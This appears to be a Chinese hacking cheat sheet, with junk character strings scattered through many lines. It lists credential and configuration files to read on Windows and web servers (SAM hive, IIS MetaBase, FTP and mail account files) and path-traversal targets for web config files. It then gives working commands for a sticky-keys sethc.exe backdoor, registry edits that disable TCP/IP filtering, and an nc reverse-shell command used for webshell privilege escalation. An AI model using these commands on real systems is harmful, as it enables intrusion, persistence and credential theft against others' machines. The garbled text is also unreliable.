C:\WINDOWS\system32\inetsrv\MetaBase.xml
C:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
* s* {4 j5 t  oC:\WINDOWS\system32\config\default.LOG
C:\WINDOWS\system32\config\sam
C:\WINDOWS\system32\config\system
: D% ?+ J8 e  n! H, p) Gc:\CMailServer\config.ini
c:\program files\CMailServer\config.ini
c:\tomcat6\tomcat6\bin\version.sh
c:\tomcat6\bin\version.sh
c:\tomcat\bin\version.sh
c:\program files\tomcat6\bin\version.sh
C:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
5 a. X: L' K0 v: G! o& |c:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
c:\Apache2\Apache2\bin\Apache.exe
3 G( ?5 S9 \# u( S$ [0 N6 bc:\Apache2\bin\Apache.exe
c:\Apache2\php\license.txt
: w7 S3 S; X$ |C:\Program Files\Apache Group\Apache2\bin\Apache.exe
/usr/local/tomcat5527/bin/version.sh
- L3 O. _5 f- e& X+ p, z/usr/share/tomcat6/bin/startup.sh
/usr/tomcat6/bin/startup.sh
c:\Program Files\QQ2007\qq.exe
+ j9 |1 T; Q  F( F1 ?c:\Program Files\Tencent\qq\User.db
5 m) {4 R3 Z+ H# g4 qc:\Program Files\Tencent\qq\qq.exe
% [8 ^- d" `7 G3 lc:\Program Files\Tencent\qq\bin\qq.exe
: s4 z# y) G9 oc:\Program Files\Tencent\qq2009\qq.exe
! ^- M6 [: J8 u# \c:\Program Files\Tencent\qq2008\qq.exe
c:\Program Files\Tencent\qq2010\bin\qq.exe
! I9 s5 H; k) j+ v) _c:\Program Files\Tencent\qq\Users\All Users\Registry.db
C:\Program Files\Tencent\TM\TMDlls\QQZip.dll
c:\Program Files\Tencent\Tm\Bin\Txplatform.exe
% d5 Q$ B+ ~' gc:\Program Files\Tencent\RTXServer\AppConfig.xml
% `$ S" F' u0 n2 q- wC:\Program Files\Foxmal\Foxmail.exe
1 T7 C* _* i$ z/ NC:\Program Files\Foxmal\accounts.cfg
' ]5 A, M, Q2 v. ?C:\Program Files\tencent\Foxmal\Foxmail.exe
C:\Program Files\tencent\Foxmal\accounts.cfg
6 H7 F5 J8 P% s* j. W: zC:\Program Files\LeapFTP 3.0\LeapFTP.exe
3 m# N" e) O1 M2 V$ |) fC:\Program Files\LeapFTP\LeapFTP.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
- |5 C! L( x2 m% K# zc:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
C:\Program Files\FlashFXP\FlashFXP.ini
C:\Program Files\FlashFXP\flashfxp.exe
! n; ?9 c$ M+ U9 W# H+ Wc:\Program Files\Oracle\bin\regsvr32.exe
c:\Program Files\腾讯游戏\QQGAME\readme.txt
: \8 m2 W8 e3 z8 m  o: q& E% }c:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
c:\Program Files\tencent\QQGAME\readme.txt
C:\Program Files\StormII\Storm.exe

3.网站相对路径:
3 H( y8 Z+ a  s
: H! C: d, }" H0 B/config.php
2 D; Z7 j( w9 o9 [  I6 C../../config.php
( g8 q; K; T8 v" Y9 M../config.php
7 E' C: a5 Q6 A) U- {../../../config.php
+ t1 G' |9 o3 [. }/ t1 l/config.inc.php
./config.inc.php
../../config.inc.php
../config.inc.php
../../../config.inc.php
/conn.php
# j0 {1 n2 m: X. N. B  p./conn.php
../../conn.php
, h, u! Q+ A3 n) y5 I1 ~& K../conn.php
../../../conn.php
* m7 d# s; d6 x8 z; t, E! C* W/ X/conn.asp
) A# ^8 I; J& {+ X$ M) T- a2 f* W./conn.asp
../../conn.asp
- d  y5 b- O9 Q../conn.asp
* l" s  j# F2 {$ y1 x& S* s../../../conn.asp
: X, p. n2 `& C" O/config.inc.php
./config.inc.php
../../config.inc.php
../config.inc.php
../../../config.inc.php
/config/config.php
../../config/config.php
  C& |; E! z3 }../config/config.php
../../../config/config.php
/config/config.inc.php
7 f# B2 q3 \4 _- B$ V4 ?1 ^2 ?* d7 ~5 z./config/config.inc.php
../../config/config.inc.php
../config/config.inc.php
../../../config/config.inc.php
) L/ P. z5 k: B' Q7 H* f: @/ P# }/config/conn.php
./config/conn.php
9 b. v3 v0 W0 Y  s2 s../../config/conn.php
) ^, q4 ~9 w+ ?; e% [! B, ?* q../config/conn.php
../../../config/conn.php
! g* H1 b! R; M# a: _3 Q/config/conn.asp
./config/conn.asp
../../config/conn.asp
../config/conn.asp
../../../config/conn.asp
/config/config.inc.php
: J8 ~, e9 ~# g0 O- _./config/config.inc.php
1 d. n! Q' x' N0 ~' @. ^../../config/config.inc.php
' t! j2 n1 L& [/ A8 B../config/config.inc.php
../../../config/config.inc.php
, `) y& C2 y; k' g. \# S  `5 ^" t; {/data/config.php
../../data/config.php
& Z; M/ b# y$ a* `, `8 J6 F../data/config.php
; x# u+ l  A8 o/ o+ z# Y../../../data/config.php
' I/ j% S( B: E7 o4 E/data/config.inc.php
./data/config.inc.php
% V$ l, j9 T6 A5 R0 q6 h../../data/config.inc.php
../data/config.inc.php
% ?2 k% D3 V0 T! H. S& c' m* d6 U../../../data/config.inc.php
6 k9 _) l" f! d. N" B8 h& j/data/conn.php
./data/conn.php
1 l1 D# k) ~8 d% C+ J3 M( {../../data/conn.php
../data/conn.php
" p: W8 d3 V* x5 ^& b( D* \; ]) x, I../../../data/conn.php
- Y& X6 @( B% r6 V/data/conn.asp
./data/conn.asp
../../data/conn.asp
../data/conn.asp
../../../data/conn.asp
/data/config.inc.php
! U/ R& U) s3 K8 w# |  b% ~./data/config.inc.php
../../data/config.inc.php
6 h3 ?7 w, R( a' E$ n( q../data/config.inc.php
../../../data/config.inc.php
/include/config.php
5 o9 ]& F- ~( `) N5 D2 D../../include/config.php
& F. A2 i" J. _6 J, A" R../include/config.php
../../../include/config.php
5 e9 e" l: @0 C/ U  ]/include/config.inc.php
) ^1 E9 ], H4 M2 B0 b7 g./include/config.inc.php
../../include/config.inc.php
../include/config.inc.php
. A4 m* n: }: L8 s: V; E../../../include/config.inc.php
! r% k9 d1 Z7 ?2 [1 c+ D/include/conn.php
./include/conn.php
../../include/conn.php
) H/ T0 \) G6 P8 Y% b../include/conn.php
../../../include/conn.php
/include/conn.asp
4 {7 W% r) f4 C9 a./include/conn.asp
) G2 d5 O  d0 R% {) g( d* R../../include/conn.asp
5 u) i6 R9 N+ Y+ `+ V# A; e4 h../include/conn.asp
) D  F5 ^8 J5 E* t8 g9 N& W../../../include/conn.asp
4 T+ a: J1 R3 f/include/config.inc.php
# u% Z3 u0 j- ~. @, }% M" L; X9 W./include/config.inc.php
) X" h2 |/ S8 C$ H: A# P) n' ?../../include/config.inc.php
../include/config.inc.php
../../../include/config.inc.php
" O/ H3 O3 g. B: p! w6 h- x/inc/config.php
8 V6 P) r2 R8 e1 D. ~+ `../../inc/config.php
3 r! u6 v6 P8 p5 a; f/ ^# K& x* j2 Q& Z! `../inc/config.php
../../../inc/config.php
/inc/config.inc.php
./inc/config.inc.php
# C  O# f2 z9 q$ c" P../../inc/config.inc.php
3 k% W% `0 `2 \4 d6 A../inc/config.inc.php
../../../inc/config.inc.php
/inc/conn.php
0 W, f# j& p6 @: j: \./inc/conn.php
../../inc/conn.php
../inc/conn.php
+ s8 u! V$ a- G! o" K) b../../../inc/conn.php
8 k- `! J; z5 L0 E8 Z& ]' Z" D# S/inc/conn.asp
% e1 R# J1 F+ M3 I./inc/conn.asp
: E  F0 ~8 P3 g9 \# ?* `! i../../inc/conn.asp
../inc/conn.asp
../../../inc/conn.asp
/inc/config.inc.php
1 l' R0 @" K5 Y0 E/ y5 C./inc/config.inc.php
/ x4 y. w1 p3 C, S3 \5 J( \4 D9 n  {../../inc/config.inc.php
# a9 d9 Z# @0 V9 Q4 i../inc/config.inc.php
0 f% o  d6 X: }../../../inc/config.inc.php
/index.php
./index.php
../../index.php
../index.php
6 H1 @9 N' \3 t7 v../../../index.php
/index.asp
/ ~7 y# k1 w  i9 ~7 ?6 u: @./index.asp
3 i/ Q$ J+ `$ P2 z( H3 m7 e" r../../index.asp
../index.asp
../../../index.asp
替换SHIFT后门
　attrib c:\windows\system32\sethc.exe -h -r -s
* @; J- a( w% m" |7 K: U( L- A
　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s
8 E5 ]% C6 ?6 Z4 M; U
　　del c:\windows\system32\sethc.exe

　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe

　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe

　　attrib c:\windows\system32\sethc.exe +h +r +s

* y* L- [" B; f) Z$ y　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
7 P9 M0 e: A2 k; U去除TCPIP筛选
TCP/IP筛选在注册表里有三处，分别是：
1 c5 E2 A. U3 Y" [; G1 u) s. J; JHKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
6 M6 I% \. B/ w3 |HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
6 _% ^' p( ~( J' q! y( F' RHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
3 h+ {" c) D0 F6 \) B) N6 a
) Q5 I$ P$ y) D分别用
) m' L2 ~/ j( u' l; hregedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
regedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
regedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
+ l" J3 N  u, O4 `命令来导出注册表项

3 {: ^. ]8 ]3 i然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000

, R3 F# |0 K! Q# q" l再将以上三个文件分别用
2 p0 ~7 o# ^; o9 Bregedit -s D:\a.reg
8 L1 n; Y" I/ ?2 C* T' \* J; |regedit -s D:\b.reg
regedit -s D:\c.reg
导入注册表即可

2 N# K; J( [; ^- bwebshell提权小技巧
4 B4 r" t1 p( c) I0 F( w2 v+ tcmd路径:
$ l. c, f1 C9 d; {) @: uc:\windows\temp\cmd.exe
nc也在同目录下
例如反弹cmdshell：
"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
% W7 e8 L2 F8 Z( j通常都不会成功。

而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
却能成功。。
- Z( d% ~3 q# m4 h+ B  Z这个不是重点
我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功